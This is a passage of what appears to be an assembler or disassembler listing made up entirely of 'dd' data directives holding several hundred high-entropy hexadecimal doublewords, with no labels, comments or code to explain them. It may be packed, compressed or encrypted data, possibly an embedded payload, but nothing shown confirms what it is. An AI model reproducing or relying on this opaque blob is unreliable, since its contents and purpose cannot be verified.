		dd 6380BFE9h, 1D0AC77Bh, 7F64694Ah, 5F788680h, 7AAED3C1h
		dd 0E9D8120Fh, 16C0981Eh, 6E2A00A0h, 708AFEC9h,	1D005D66h
		dd 0F2C244A6h, 1890403h, 0A832C006h, 80CB0F9Ah,	0D4DC9039h
		dd 6022356Bh, 3F850A9Bh, 15012FA0h, 9E8A7627h, 98B91360h
		dd 0A0535476h, 896C1E84h, 0A6DBC9A8h, 96414C03h, 0A723F007h
		dd 86132F30h, 0BABFB0B3h, 70349011h, 480F892Eh,	0D0177C4h
		dd 7A61AFFFh, 2EC8981Ah, 0B1B0788h, 30F2D797h, 5850A768h
		dd 0DC8231C5h, 459BD840h, 0C5AEB8h, 84D55655h, 18237D73h
		dd 0F0CC7800h, 72AB3B5Ah, 93A80928h, 2C024F0Dh,	2F22B0DFh
		dd 0D9A88691h, 99C1810h, 0F27AE97Eh, 0C08E4200h, 752F6158h
		dd 0FA12004Ah, 3BF981Fh, 3700DE01h, 74C8D25h, 31FBD210h
		dd 2E59E184h, 7CA730FFh, 541C890Ch, 4008B6h, 0FC8CCF48h
		dd 860507D4h, 0F650C100h, 47BF0FA1h, 261C0771h,	0A079CDCFh
		dd 33629CADh, 7A002092h, 0C02E8715h, 602B501Fh,	20E7A972h
		dd 0B500B9AAh, 0FCBF4477h, 0B7C065Ch, 42CA3DAh,	0E1139680h
		dd 5803B5F2h, 2A1C97E6h, 90190A49h, 40E84EA6h, 4BCAE62Ch
		dd 148B9E3Eh, 88B80F52h, 4BD9C4Dh, 80B54940h, 0B6BE4C03h
		dd 9CD2B907h, 5B5018ADh, 12CC0DC1h, 4074B011h, 284AC764h
		dd 1212BE8Ch, 7040A239h, 0B0319448h, 0B2DE01CFh, 4AE982E4h
		dd 8A3AE4B1h, 95E65A07h, 0CF901402h, 5796CEh, 9C215F7Eh
		dd 851BEB89h, 0CC6E3407h, 0ED437BAFh, 318A9171h, 495FF0h
		dd 0C7260D68h, 221FC95Dh, 203E8DA0h, 98D27800h,	74B190E7h
		dd 0A72900B5h, 686B88F8h, 0F50F81C7h, 801E1B39h, 0E3323D5Eh
		dd 8F780FC4h, 0A3831892h, 191855FDh, 225140BCh,	37F80003h
		dd 75D051A4h, 0DB1F9473h, 5D41E081h, 0ED8874C2h, 0BE66FCh
		dd 14CBE442h, 5C07D18Eh, 5E7C40C3h, 2308007Ah, 0C455F9F6h
		dd 670013F4h, 882DF352h, 18DEF5A2h, 288F060Bh, 4900EDCBh
		dd 32782375h, 0D17155h,	3756011Eh, 0F15ED4F6h, 23432B07h
		dd 807B04C0h, 0E7AFD245h, 2B8381Ah, 88A79200h, 0CABC488Fh
		dd 0D1936605h, 48085E64h, 18096CCh, 48ABD039h, 2A0489EDh
		dd 5AFA00FAh, 77B1F2B7h, 67C802D8h, 3FFD6337h, 362A4040h
		dd 46A07702h, 82332B7Fh, 0A02D8794h, 0BE67DB98h, 9C810090h
		dd 5AA56DB6h, 0B07C070h, 433F64D9h, 31DE21F0h, 898E60A2h
		dd 941865D8h, 0B668B100h, 4A2BD946h, 207E67E9h,	0E8FB1DAh
		dd 65333069h, 0E4009AE6h, 86841E4Dh, 1F5E181h, 599E7D71h
		dd 0E18FFB52h, 0A96CCC6Eh, 0EFE0A800h, 0A29ACB1Eh, 85730023h
		dd 1B1A1304h, 530D37DCh, 29AC6E90h, 3C937CECh, 1301943Eh
		dd 8F1F31E3h, 2107C7ABh, 5AD412F4h, 149C4030h, 0DF4C0144h
		dd 53D8AEA5h, 0D4188054h, 2C8A4FAFh, 116C3BEFh,	0E30003A2h
		dd 2148F468h, 906A71h, 6F060D09h, 895587F3h, 0FEBC14A0h
		dd 0A8C84C00h, 32061E94h, 0A66001Dh, 0D4AFBB21h, 590036CBh
		dd 2B38AE8Dh, 78C85C12h, 4398C370h, 49005851h, 22CE3F3Dh
		dd 0C28A4EDEh, 56FAED21h, 0BB5CDB20h, 5BA53AF0h, 293E9C01h
		dd 0FFBF974Ch, 208212A0h, 483A28C1h, 0F980D72Eh, 644BDA72h
		dd 0C1F73DC8h, 7C9E808h, 0D260CF0Eh, 7496C017h,	725C5B9h
		dd 59EA6CE8h, 986100F9h, 95036D9Ch, 0B51DD08Bh,	8821E33Ah
		dd 50127657h, 0C6B34C88h, 115B2080h, 7C916824h,	0C131D500h
		dd 0F818FB86h, 4B0A029h, 0FF5C44AFh, 0AEA22C00h, 3748A9F0h
		dd 0B5B30074h, 6DCBFC19h, 2D0280C5h, 14BB4F1Dh,	0DF88A06Ch
		dd 981568Ch, 898F7166h,	1C02A707h, 8B005A50h, 8362A221h
		dd 8059A4h, 23D0919Dh, 98904A15h, 60EBE13Dh, 94DD43A9h
		dd 612B00ECh, 0E2C0C28Dh, 9A3C0BAAh, 0D49F8A70h, 0DF80A89Eh
		dd 371F2990h, 2B23002Fh, 0CBA0C3B3h, 28008903h,	8C7078BAh
		dd 9720F1h, 4BAE50A5h, 0F7C2FFD7h, 1FC1EC3Bh, 65C1CE3Dh
		dd 6EB35EC0h, 3FC77D0h,	701412DFh, 403F762Eh, 0AA460FA7h
		dd 0ED170720h, 7B598A1h, 7E66A6F0h, 3BBC01E4h, 5EF82BD1h
		dd 9630800Ah, 2A9B311Ch, 4A940070h, 0BC388855h,	6B6CC813h
		dd 0C3AEAC11h, 26CCB529h, 0B0427100h, 0F428DC03h, 3350055Ch
		dd 0C0975B14h, 9107E480h, 9C2AA100h, 0C584EA15h, 0B9851840h
		dd 0B519A0F9h, 2C048D3Ch, 8C01B5C6h, 0DBD09546h, 6741E080h
		dd 39657D0Ch, 3C21BB20h, 0A200AA07h, 3711894Eh,	5400DB3Ah
		dd 7FE9D4A6h, 733C088h,	43D95B0Eh, 92B63016h, 0D60F048Bh
		dd 0E00825CAh, 21100966h, 0ADEF015Dh, 74D3C8D9h, 0D2AFF854h
		dd 344AC600h, 0D77AB671h, 0CBAB0703h, 604E0491h, 63C0788Bh
		dd 5E734490h, 58D84978h, 2CD320h, 97222008h, 0C68A56F5h
		dd 3ED618C0h, 9FA3E7h, 0EBA411ABh, 0B3E3FAD3h, 273055FAh
		dd 0B529408Fh, 5ABF001Eh, 41E75BEDh, 98009C0Ch,	0DB408144h
		dd 0C457A2h, 0AEDEFCF5h, 1DD3E43h, 4AE1ED00h, 0F2B1F1D5h
		dd 3DF0022h, 0E4E076D1h, 0FC6092B9h, 1B54E3F9h,	0AA9D005Dh
		dd 0EB697409h, 5B7006FEh, 1C8B5E03h, 90D3AEA4h,	1EA80A2h
		dd 93EE3BE5h, 40D6390Eh, 26502AA4h, 0E3421B3Eh,	3BCBAAA8h
		dd 0E783D7F9h, 11BE5931h, 0B19FC3D0h, 1DFF4200h, 0DF72F110h
		dd 0D7061E4Bh, 0B5B00723h, 514AE3FCh, 450867C7h, 259443CEh
		dd 0E57A27h, 4963ACA0h,	0FE1808FBh, 42C9CD95h, 0B96218D2h
		dd 118F3AE3h, 1B0BC80Fh, 673A819Bh, 0BC4CA741h,	280C2A93h
		dd 31AD07B0h, 80264A8Eh, 2BFDA235h, 48088A0Ch, 404F28F5h
		dd 5130078Ch, 0B1AA41BDh, 0C4453023h, 24314D11h, 8C86CB07h
		dd 0D9828929h, 0B6662023h, 2DFAF9FDh, 22281218h, 0A38B79h
		dd 0C9C33C04h, 0E09AB045h, 9C303505h, 2C4CC690h, 0C9F31D7h
		dd 8AB3679Ah, 0D90E2408h, 5F2D353h, 842092D1h, 0F8F980E7h
		dd 6D039B1h, 0F51530Eh,	1A6964E1h, 6B1858D6h, 0EC451B00h
		dd 59694C8Ch, 0F02D032Fh, 17DCA2C5h, 9001E99Ah,	91008015h
		dd 1031A624h, 0A9B8418Dh
		dd 0D34C19BCh, 0F8FFDB00h, 88CECB3Fh, 2C9CC6Eh,	0C0ABCAF6h
		dd 2C4AD9h, 0B3B672ECh,	0DC58628Fh, 0B5447D07h,	4FD0B728h
		dd 30107951h, 4D59CDF3h, 9F508C9Eh, 0AA4CB3E4h,	0A1E44037h
		dd 0E057B903h, 98254A28h, 58E2D113h, 1F7D8705h,	4CBFF63Dh
		dd 0FB49D2EEh, 5507CD03h, 118A8EA7h, 832C1h, 9613C644h
		dd 0C4AE3h, 35FED09h, 84B9B321h, 68E5CD00h, 985629ABh
		dd 307C9040h, 8AE1C9C7h, 0CC00F713h, 0BCBB08CEh, 9B611Ah
		dd 44E3A139h, 53ECB6D7h, 8B844B01h, 9F118824h, 0CC7D3880h
		dd 0A41AD9CAh, 89ABA200h, 0E5269A1Dh, 0B93C2A60h, 4DDC20A8h
		dd 0B7A004A8h, 66129012h, 0C2F44C27h, 67A56430h, 248ABD05h
		dd 1C04CD4Eh, 2C8884A9h, 0F258C14Bh, 0E2061193h, 0A3A9B102h
		dd 0F0767FACh, 17EB3Eh,	0EF47525Ah, 36DC7939h, 0B6A25D09h
		dd 870880D5h, 0A03A10E9h, 4088B90h, 9C2D35E1h, 0CE8C8C55h
		dd 0D29F40A0h, 8B36606h, 7621C147h, 0AD274493h,	0AC08547Dh
		dd 0BEC8B5E6h, 0A7B12Ch, 52E0B0E4h, 0F3A1FEFFh,	0C77840CBh
		dd 0F0A8C4E5h, 976010A9h, 539CBA39h, 0C3947CA5h, 11A8B830h
		dd 938B3918h, 970741h, 25413AACh, 7216AF2Fh, 588D6D00h
		dd 622BCC5Eh, 76BC01F8h, 24A2B1C8h, 0B6C370ECh,	608AB0Ch
		dd 9467C84h, 42B05FE0h,	3329D503h, 0BBE1D100h, 6338D42Dh
		dd 0B5C0052h, 99D37E97h, 71041504h, 0E0CF53CDh,	2189C892h
		dd 0EFC5DBC6h, 0F27A83A8h, 149DE62Ah, 4EC7A70Ah, 8B89F841h
		dd 44242007h, 1EB75113h, 930AF5A0h, 5528014Dh, 47F00C47h
		dd 328A78A8h, 4E80F80Ah, 2F4C2DA9h, 0AFF00338h,	0A834B71Bh
		dd 0B1CBE7C0h, 0B4A4087Eh, 9B043E76h, 1CF0F425h, 2AC78080h
		dd 0C04A037Dh, 9295DA65h, 0F2F16103h, 0E7C1B43Bh, 95D7520h
		dd 0D48E58B6h, 4C6B0C1Dh, 0BE59A6B1h, 0B7C53200h, 2BEAAD55h
		dd 804D0320h, 3C49F006h, 5D8E7BA8h, 659DCA1Dh, 0DA089C64h
		dd 0C8DE0090h, 8C61907h, 0EA36800h, 0FBE33380h,	6E4B0296h
		dd 0B6B3C891h, 0DF98A4C0h, 0E86CF40h, 56ACE821h, 9D677CC2h
		dd 8A70C49h, 0EAA8A80Eh, 5B410010h, 58E724C1h, 0FD0F2BCFh
		dd 0F5E34B5Eh, 689071F0h, 0E400649Ah, 0D53F0783h, 2688AF19h
		dd 0ABC64Eh, 0EFC912F8h, 0F1E65C87h, 7809705h, 0AC45C550h
		dd 9C40C695h, 0E0CD209Dh, 0A0600064h, 5EC52E7Ah, 0AACBE33Fh
		dd 85588141h, 98224693h, 9C7A116h, 88117669h, 0A2ADD8B6h
		dd 0C4237E01h, 8BEC4B3Bh, 6118C0F6h, 60FCAA02h,	24998450h
		dd 4020B14Eh, 8E39A9BCh, 8022B72h, 0E98F8BE6h, 64FC62B9h
		dd 41070058h, 0B5AD1058h, 5701F50Ch, 9CF7BB9h, 0CC50E928h
		dd 4C78BFAAh, 0FA80708Bh, 0B756492Ch, 313B1800h, 225AE8CFh
		dd 23BF0224h, 0D0F5C6D6h, 0E110EC60h, 0B605F899h, 8C408093h
		dd 0D3039A06h, 0CB3B008Dh, 8158D85Eh, 0EE1317AAh, 3C058051h
		dd 0E4C88453h, 9E2741Dh, 93F3D9B2h, 28631087h, 20888E42h
		dd 6B6698AFh, 0A627B000h, 85D8BD46h, 75B70E43h,	4963E035h
		dd 0D907DDB1h, 0FB933D12h, 3FE27E10h, 0CF241F4Ch, 808D5F38h
		dd 50B05320h, 0AC984DE9h, 0B2654800h, 1E4AB73Fh, 5D0200C3h
		dd 209E8AB9h, 0A14884A6h, 90C08E38h, 3F76330Fh,	5A0CA7E0h
		dd 8010A65h, 0E144D20Bh, 0DC3282A4h, 174D352Eh,	0C841681h
		dd 0CAA14669h, 47DB2205h, 0D888A353h, 9FB1888Ch, 0D4F071C0h
		dd 0F432922Bh, 0A6A20013h, 8751D55Fh, 50F7247Eh, 0C72504F4h
		dd 2FA8F524h, 490DB03Dh, 0B6459Eh, 153A9DF7h, 0FC78B57Ah
		dd 4709DF09h, 0AABCA27Bh, 24CC420h, 19AD742Dh, 8E03EF1h
		dd 0AF1210EFh, 461664AEh, 0F802F712h, 6CB34318h, 64208050h
		dd 7B0E0084h, 0FFF69998h, 7F3C15ECh, 0F2610EBEh, 294D4790h
		dd 715949A0h, 3C4412AFh, 0DD8C0DB1h, 742288h, 0D0C52286h
		dd 937B2Eh, 9B813818h, 0E8A52644h, 0A979131Ch, 0F3BC009h
		dd 0D60A0478h, 4EDE5045h, 1E0A93B0h, 0A4748790h, 9F284039h
		dd 9B011002h, 33F0C5F3h, 0BBE1599Eh, 0B0CE03E4h, 1E2600F9h
		dd 17FA8622h, 317BEFAEh, 0F9E7341Fh, 79D20039h,	0EA7EADEh
		dd 8F5F248Eh, 59740328h, 9EBF6D22h, 0E7622800h,	0E203A3EFh
		dd 0AEA8F165h, 4EBCC8ADh, 26E62Dh, 5EF7F30Bh, 23FBD4F8h
		dd 0D54B7305h, 3C836E56h, 8685D8E7h, 114700F5h,	9DFA20F8h
		dd 0CF01962Dh, 0E327F02Eh, 42E84EB1h, 0A2150798h, 704F89C0h
		dd 0A3ECA5CCh, 0E74D28CFh, 6950E71Ah, 0E4CC7FCh, 0ADEA2BD9h
		dd 7EFDD520h, 0DD0FFF50h, 0E0FB1FE9h, 42772981h, 3E517CACh
		dd 0E300F225h, 2123843Eh, 8BFB59EAh, 0D09738h, 0CAE8E172h
		dd 0C3A1FE9Fh, 74222F70h, 18CCF93Eh, 9818A235h,	47C90024h
		dd 2A9D3F66h, 676525B9h, 1800C428h, 0BCEDCA45h,	0D0A500D1h
		dd 9C2B4297h, 700039BBh, 0AB1C65E7h, 1756C8Fh, 0C925BD8Eh
		dd 509124B1h, 2F463A88h, 3556C400h, 0EC6BA1FEh,	7FE700BBh
		dd 0D5AB705Eh, 78004AEDh, 0F250AA24h, 1F32C9Fh,	6F2F5704h
		dd 0DB869E7Bh, 1DA2200Ch, 342879h, 83470E56h, 42C41393h
		dd 0B741B400h, 4BAD7361h, 98520030h, 1CB01F64h,	856071B1h
		dd 0D6E85738h, 0F6B306E2h, 584BF0B5h, 4E71AD00h, 0D905D5A1h
		dd 0E7FE0C53h, 783009B6h, 5E01C3B8h, 7E64E324h,	0FC20A568h
		dd 0B53C0F52h, 6D0370FFh, 3EB036D8h, 78BD17A8h,	0EC05034Dh
		dd 0C4843268h, 80D108E1h, 0F5DD9E81h, 1DE0ACCBh, 41414AA9h
		dd 26111063h, 0B654C8CAh, 0E9EE9B37h, 1D0C6D90h, 5F200E1h
		dd 29D94DBCh, 2F747EC8h, 74DC6206h, 3C113CDFh, 0BD0CF7CAh
		dd 62400C07h, 25001CFAh, 0FA637B6Ah, 5621CAh, 0A9170484h
		dd 0D8A47391h, 30B39800h, 0DB9A80F9h, 0F80E0034h, 0FC3DD95Bh
		dd 2102A0B8h, 1DB22E8Eh, 0D58880A9h, 3668D20h, 62A2925Bh
		dd 70006E36h, 826AA25h,	0F00F2A64h, 59B72A13h, 0FA1F00ECh
		dd 4CD5F762h, 0C4308EEEh, 7B5730ABh, 0F07F5499h, 3A21449Dh
		dd 0C548A100h, 4BDEC873h, 2B270FBAh, 411E212Eh,	0A67C30B6h
		dd 0E068A0C3h, 0ED00F086h, 3B52815Bh, 3D854C5h,	7805D97Dh
		dd 84B01BC3h, 74033ABEh, 2334152h, 26710C29h, 65E14F05h
		dd 0EE1E8100h, 162722FCh, 7CCE267h, 0C3967505h,	46FFC0FAh
		dd 2D399AEEh, 0C17C8623h, 18ED5Ah, 4FE24D65h, 0F11C07DAh
		dd 0A0E85B44h, 1880F79Ah, 617542EEh, 0C70121BAh, 250EB940h
		dd 0A2D4A5C4h, 23D20048h, 582A71F9h, 0FA079934h, 7D13ADBh
		dd 0FBE106AFh, 7EE41811h, 42F091F5h, 70C6D674h,	0F8603EF2h
		dd 766C00B2h, 6488155Eh, 851E6A26h, 57C0EA8Fh, 0D57E1974h
		dd 207446h, 1D4D11EBh, 51A12F90h, 75AF9100h, 39B1B57Dh
		dd 1519015Dh, 0C47A602Eh, 94A0A1F2h, 0FF8A5E80h, 0FF754AAh
		dd 4298854Dh, 19991BC0h, 2C00B1EBh, 0ADBC7496h,	3F74328h
		dd 787A5BBFh, 4822225Eh, 0CD0F0F88h, 0EE0E911h,	64B7B8E4h
		dd 0AEA5C800h, 4FD0809Dh, 17B63935h, 8F79E100h,	8A267E84h
		dd 47F8FE60h, 0F4D436BFh, 518D03CBh, 0A1159583h, 5321DAB0h
		dd 0D847400h, 41DEC7B2h, 4D200085h, 19D592D1h, 0BC0017C1h
		dd 4555444Bh, 1DB2FC4h,	25607756h, 0C1B7FBE9h, 4BB451FDh
		dd 2B18F18h, 3FC05560h,	0DB660007h, 0DC7D3693h,	0F65005Eh
		dd 50738FE9h, 0A70A9F9Ah, 0D8B2C1FEh, 1D8C1743h, 2ADBE449h
		dd 219440Ch, 0C2272818h, 36A2EE1h, 0FB677A0Bh, 31DE525Fh
		dd 0EAD4119h, 8CCDA49h
		dd 2C4A7DABh, 31ED5E9h,	0E63F0588h, 0BCBD1800h,	3A34BE13h
		dd 97113AECh, 8339710Ch, 0C1004620h, 0EADC9A3Dh, 18B3E8B1h
		dd 2AAC0B9Ch, 0E200F809h, 81EE6115h, 0FE8D34Eh,	88C71FD9h
		dd 377730D4h, 878013A8h, 0F3DE608Fh, 0F1E99089h, 419800Ah
		dd 293FCB31h, 85F7002Eh, 0F8E903BFh, 0AA1E5338h, 45C68A8Ch
		dd 73101CEh, 61A90FC4h,	0B194E3A5h, 48C7A6B8h, 0C98074A0h
		dd 0F579DE00h, 3B47706Eh, 1A9A1D34h, 0D0D8B7B7h, 0BDD34BD9h
		dd 1CBB490Eh, 80B889C1h, 0F3804869h, 71CD0001h,	0C9618EFEh
		dd 0BF5C86BAh, 810F300Bh, 0B6513Dh, 0E1DA549Ch,	0EF4F4BEDh
		dd 3E2BE807h, 58C01B9Ah, 28711575h, 7284840Ah, 548F6ECh
		dd 5F4A5D79h, 0B178866Dh, 0A7146107h, 4B415BBDh, 0E8D85E03h
		dd 0DD63006Bh, 0FB20611h, 0C70C73BFh, 5092CF70h, 0ECB701EFh
		dd 7A075BF2h, 2368FC43h, 4BACFF01h, 41F1DCCFh, 0E8C38C43h
		dd 6CDA344Ah, 0E8C160C7h, 201DE78h, 476B7F39h, 0D8E82487h
		dd 0DC48E181h, 71A57DAAh, 422E1463h, 890F9C34h,	8B60E7F0h
		dd 0D2D1AABBh, 61A8EF03h, 0CDBBCADh, 0E3804BA8h, 0E5002AD9h
		dd 6543F327h, 0E9E3A41h, 0F7521842h, 694A1326h,	595AEC07h
		dd 392C7FE2h, 12B788Bh,	0F4D3AA92h, 7B120FD6h, 331EA0h
		dd 593A2CCBh, 0D99F3FE1h, 70DAD800h, 57B0F1E0h,	5299F849h
		dd 1715D42Ch, 1478C026h, 8C956192h, 940B08Ah, 0B280BABDh
		dd 0C9588EB7h, 89A94134h, 8086F482h, 0F7E9F689h, 80351EA1h
		dd 26D380DCh, 0EF1A64AEh, 0DBD55200h, 0B757B229h, 507EEC81h
		dd 738228h, 51BDE96Ch, 6949321Fh, 55E49200h, 0AA5898A0h
		dd 0E9C50A56h, 0C95D34h, 0FC0E61C0h, 29EC547Fh,	1D99F300h
		dd 3FA1ECEAh, 0F67CE4h,	9472AC61h, 466BBEFAh, 9505B300h
		dd 0A1E93880h, 8B28C1A0h, 30DB6993h, 1B74A65Ah,	896E9B00h
		dd 4BC93607h, 0B7880F0Ah, 4200C77Ch, 0B95FACD3h, 3F9883FBh
		dd 784E2CDFh, 47693048h, 2BC31DB1h, 6BB1E900h, 0EDDF8725h
		dd 6FD00E44h, 0B6803F39h, 4689A5A6h, 0C34E31C3h, 0B5910052h
		dd 0D5203401h, 81074829h, 66F1A226h, 442855F0h,	1C78E88Ch
		dd 1DAABECh, 0B6958202h, 8FA1E0A4h, 98B1C11h, 6EB20077h
		dd 0BEFE2BE9h, 0C150E85Fh, 0C0729E94h, 4B150E18h, 123ECA81h
		dd 632D74Ah, 198D69E4h,	85542200h, 0B915E591h, 3BEE002Ah
		dd 0A856E2D8h, 0C195F77h, 84B88F44h, 96858D41h,	0C516A6h
		dd 0B6BA019Ch, 621F548Eh, 0CB4E5377h, 119C9582h, 0B9005AC8h
		dd 0F27A8871h, 0A50C7751h, 80E26CD4h, 0ADEA2A1Fh, 4D742C8Ch
		dd 0F1C4009Fh, 0E5012033h, 31E1DC01h, 9E08A6D8h, 97ED2880h
		dd 0AEE4B556h, 0B395F800h, 0CD549DAFh, 0F1460F58h, 182A5E74h
		dd 6A5D1EB1h, 0AECB22E8h, 1D5AF800h, 57B16DB4h,	92CCE04Eh
		dd 89A41D28h, 4C2B56h, 2064486Dh, 9D00973Ch, 0F1635CAEh
		dd 0EA61B3h, 19BC424h, 2BFC5614h, 967C6006h, 16494E69h
		dd 72DE0D1h, 403C0D14h,	0DB6CFA28h, 36FE3Bh, 968CBDF7h
		dd 37C0A2h, 0C9C21E67h,	7E8AD4E9h, 5D856E00h, 9280DB17h
		dd 0E6A53A21h, 46C82848h, 3ED5A486h, 0FEC00A19h, 2C89D64h
		dd 13A1206Eh, 1E001846h, 6A93C797h, 632E3469h, 0FF75E8C9h
		dd 0B0B5403Dh, 0F2C24941h, 40B200F3h, 0C944E245h, 0C5155899h
		dd 28211Fh, 750A82F4h, 0A48483h, 225E12Eh, 1BCE1485h, 90ED1F03h
		dd 0B057AE9Ch, 1E18D317h, 304CF898h, 0D8FC5341h, 6EB64B00h
		dd 89CFB30Ah, 62109082h, 0CAA7898Ch, 3551DCA1h,	254130ADh
		dd 0AF399074h, 1B8002D5h, 0AAC386C9h, 223C3CE8h, 936930ADh
		dd 3BC43049h, 0A318F500h, 0C68597E1h, 9617DEEh,	47F2C845h
		dd 40A41413h, 86A7DB84h, 247B5458h, 6CC53ABAh, 78C3A880h
		dd 4B12348Ah, 214C1F0Bh, 45268451h, 0ED4E7CC0h,	76D0A8BCh
		dd 0F8720169h, 4C8DCF7Eh, 8A198CABh, 0D4A908h, 4F383346h
		dd 23DFC1Ch, 0E8CECC0Fh, 0C6DF826Ch, 0A0F0ACE4h, 0CFE989C7h
		dd 80AF493Fh, 0F98B9BE6h, 0B094D80h, 1873C4F2h,	0F37E9E03h
		dd 0D4144850h, 8E7B6F12h, 63F97005h, 7D8F66C0h,	0FCC30101h
		dd 0D85852D0h, 0C13021ACh, 45D208B4h, 0BE72F55Bh, 80D73840h
		dd 193A4974h, 422D4h, 0DD118DA4h, 9540D206h, 2F1C0FE6h
		dd 0C000ACE4h, 792E4794h, 18989029h, 6154FA8Eh,	22146991h
		dd 1090808Bh, 718896C3h, 0B126A280h, 0ECEF6F1h,	0FB34CD8Bh
		dd 8407ADC2h, 0A3EFF8Ah, 858AE64h, 1F8A3920h, 5B04CC22h
		dd 1CB0DBh, 90BDBFF6h, 300D391h, 45C11260h, 74D5A581h
		dd 53E0DC66h, 0EC7C4043h, 8CA8CFC4h, 30706A48h,	76795067h
		dd 0F45850F3h, 1D0E84ADh, 5EAC99CCh, 704CF906h,	0B8800668h
		dd 7096926Fh, 6BB24614h, 745084C8h, 49ACA946h, 0C1176E00h
		dd 5448367Fh, 88A52469h, 0B1A14FF0h, 0C0723AEAh, 5F324DEFh
		dd 2C04B87Ch, 2E889748h, 8A411C17h, 0B298C073h,	0C418997Bh
		dd 6922C907h, 4836ACD6h, 0F0130059h, 4E3C4B62h,	3200FC4Fh
		dd 0CF5A7CBEh, 3CE86919h, 777BF59h, 0C20E04Ah, 5488026Bh
		dd 51609498h, 0B600C1FAh, 8D5728AEh, 42F5D55Ch,	5A071078h
		dd 6040B52Ch, 9E52B854h, 0CAA2EC00h, 78F8EF17h,	68F40614h
		dd 0B0B70126h, 0C7C0220h, 47888DB9h, 6090B5E1h,	1644E858h
		dd 0B027B40Ah, 0EA122F40h, 1A11C09Fh, 98BFF856h, 5F2BA207h
		dd 820B5088h, 0A2E9D5FFh, 3A1E750h, 2A4558Ah, 40DEE260h
		dd 26FEC17Fh, 12ACA15Ch, 0EDDC208Bh, 3600225Dh,	16C5FD04h
		dd 141CA9Fh, 0EE1DD0F3h, 53F1D55Ah, 91024430h, 0B2CC1B91h
		dd 0F80441BBh, 0AD8DFCh, 4A915F5h, 0B84F3342h, 3400EE72h
		dd 215F0C5Ch, 4891F8Ch,	857E59BEh, 0B7884ADh, 5882B558h
		dd 0FC008E6Dh, 24CC0BB4h, 246C1B50h, 0B1A21920h, 0B0C885B8h
		dd 10805210h, 0B9E0B61Ah, 46688870h, 0CF9E1380h, 26A0DDDh
		dd 22118ABDh, 684B7963h, 76A467E8h, 93E0ECB0h, 84444C48h
		dd 4E0F7B69h, 5019A22Bh, 0C2C41744h, 0A076FC88h, 80AC0A84h
		dd 8B02631Dh, 0A282B506h, 21EF8078h, 5B887Ah, 362ABC84h
		dd 55C22EA3h, 0E89D41CCh, 23124238h, 0C0AE3E11h, 638B0C38h
		dd 80006719h, 8524BBCEh, 0ED21684h, 0D1D39DB6h,	95690792h
		dd 7E5782F9h, 7DEC74A3h, 36BABC80h, 0DDA31874h,	10047810h
		dd 23EEE84h, 9082C55Fh,	2CD52AC4h, 2908304Bh, 65DA8094h
		dd 0F9C0E1A9h, 2BA5A23Ch, 0C51438A7h, 908F21ACh, 54FE8482h
		dd 59C22498h, 0CF1F14E6h, 0C737229Dh, 6DC78973h, 0B0198Ch
		dd 0F805F6F7h, 89482E26h, 7498E00h, 56211719h, 0C029DE66h
		dd 6F3E1502h, 7A26FAB7h, 0E3103801h, 0E4E617E0h, 0A34F1801h
		dd 0B3248251h, 0BA22988Ah, 90E912ECh, 8D1585D8h, 0EAA0C03h
		dd 804D343Eh, 3E2BA0C1h, 0D1251FC8h, 9EA11821h,	7CDC4C25h
		dd 2994330h, 0C6DB0Fh, 0D710C8E8h, 9670B882h, 0F6177B12h
		dd 7691B804h, 0A4223E22h, 0F37464DFh, 572049DAh, 0E4B9520h
		dd 0BB7849FAh, 29188360h, 0D5162171h, 1800D88Fh, 0CADCE01Fh
		dd 0A177414h, 0B31C6C81h, 7A8022A4h, 99ED043Fh,	8D97C32Eh
		dd 0B020F278h, 5820C834h, 5F098443h, 0A84936C4h, 0C4F6E16Eh
		dd 181CAA65h, 20D694E0h, 4662C402h, 4C2929D3h, 9CEC4A5h
		dd 8C81C32Ch, 3D34FB2h,	0B0980C5h, 902B1D6Eh, 7FE11D11h
		dd 487831EDh, 0D205F84Ch, 0B0C98F86h, 21DE98C9h, 7DBC65Fh
		dd 8D67DCCAh
		dd 0A2B1C060h, 61E0184h, 1CCC0CC5h, 2180220Fh, 0E1C40DEFh
		dd 6617F041h, 106D40A9h, 4C5AC9C3h, 0C514E86Fh,	0D024FCB7h
		dd 7EA98A80h, 1C20FCh, 0F593D9E1h, 0D0FBF6D4h, 8C5BC229h
		dd 53FF1738h, 8542A471h, 1771CCE8h, 22C8E39h, 6B9EF280h
		dd 83772B10h, 0F6A96C8Fh, 58CB503Fh, 4B1D00DDh,	0A8A1F294h
		dd 79460FD0h, 4922532h,	230EB8F8h, 907170A5h, 68713E5Ch
		dd 1501A040h, 0C25A5DB4h, 0B8610A88h, 8380582Ch, 24C4D7D1h
		dd 6E0169B0h, 0FEC201B9h, 2C605EF0h, 4C2C9096h,	0BD00048Fh
		dd 0C399EE2Ah, 6D52D3E0h, 24C026A4h, 48A4E942h,	5419C38h
		dd 1B05A34Bh, 0C08B0019h, 62F31D7Ch, 59444319h,	0D84C08C0h
		dd 0D28A0B6h, 21D8A4E5h, 0BF1167C9h, 0BC541E8Fh, 40E46926h
		dd 1586D83h, 6326EDEEh,	3C616078h, 6B01CC7Eh, 4110084Dh
		dd 0E852C681h, 95A31F00h, 7E0318EAh, 0C9C6027Dh, 0ACD8606Eh
		dd 0F603A059h, 0AFD92D81h, 0AB12E0A0h, 0AFE138D7h, 0CB84FD00h
		dd 0FE8CBA0Fh, 0D42E4601h, 35081262h, 7E42C0C8h, 607AF45Dh
		dd 0D309B893h, 0C803031Ah, 9F3FCF62h, 80A88176h, 7F4CE980h
		dd 21E50507h, 98396EE2h, 425A5DDh, 2CCC1120h, 9A5A4014h
		dd 0DE207498h, 21840236h, 99958DBEh, 5F446052h,	3DC90036h
		dd 84419A5Ah, 0EB3C3189h, 115687F2h, 0F700B30Dh, 2C1349C9h
		dd 4070EC7Ch, 0E258E82Dh, 2004C704h, 90CCDB12h,	7713288Eh
		dd 0EB021ECh, 9169C43Dh, 6DDA0048h, 0FB7F762Eh,	0CC0C1CECh
		dd 0B06CEDB6h, 0ECC55863h, 41E06E29h, 8BD2CE5Fh, 90468489h
		dd 833288h, 180C3970h, 0EBAFDB17h, 0CEA52113h, 8C0174C8h
		dd 0F7F1C98h, 0C1B4284h, 595417E0h, 92F60446h, 0E5A801A2h
		dd 0D0B6D4F4h, 55B44501h, 0FE164E02h, 50815030h, 963ABC9Ch
		dd 0AAE90C90h, 0AC2C7471h, 65003B02h, 7F5869C3h, 36310755h
		dd 4032B211h, 4730C60Bh, 0EC796260h, 981CD6EBh,	0CAF448h
		dd 8CEAE2F5h, 549B4DC5h, 362F6C02h, 643C9CC8h, 55B922E0h
		dd 96FFDC00h, 7EA109B1h, 986F6239h, 84046B6h, 0BEF665F9h
